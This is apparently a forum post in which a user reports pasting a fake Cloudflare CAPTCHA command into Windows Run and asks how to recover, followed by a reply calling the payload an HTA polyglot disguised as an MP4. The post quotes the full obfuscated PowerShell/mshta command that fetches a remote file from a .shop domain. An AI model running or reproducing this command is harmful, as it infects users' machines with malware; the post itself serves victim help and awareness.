I accidentally executed
POwErsHeLL -w 1 & \W*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\S*2\\\\\\\\\\\m*ht*e https://mnjk-jk.bsdfg-zmp-q-n.shop/1.mp4 # ✅ ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 715921''
via Windows Run a couple of days ago. Realized what I had done today after seeing a post on it.
What should I do? is full system wipe necessary? or can I remove it somehow?
If I need to do a system format what about attached drives and other devices on the network?
This example is likely an HTA polyglot. An actual MP4 is merged with a binary, basically. The MP4 will play as normal, but the powershell is responsible for execution of the malware.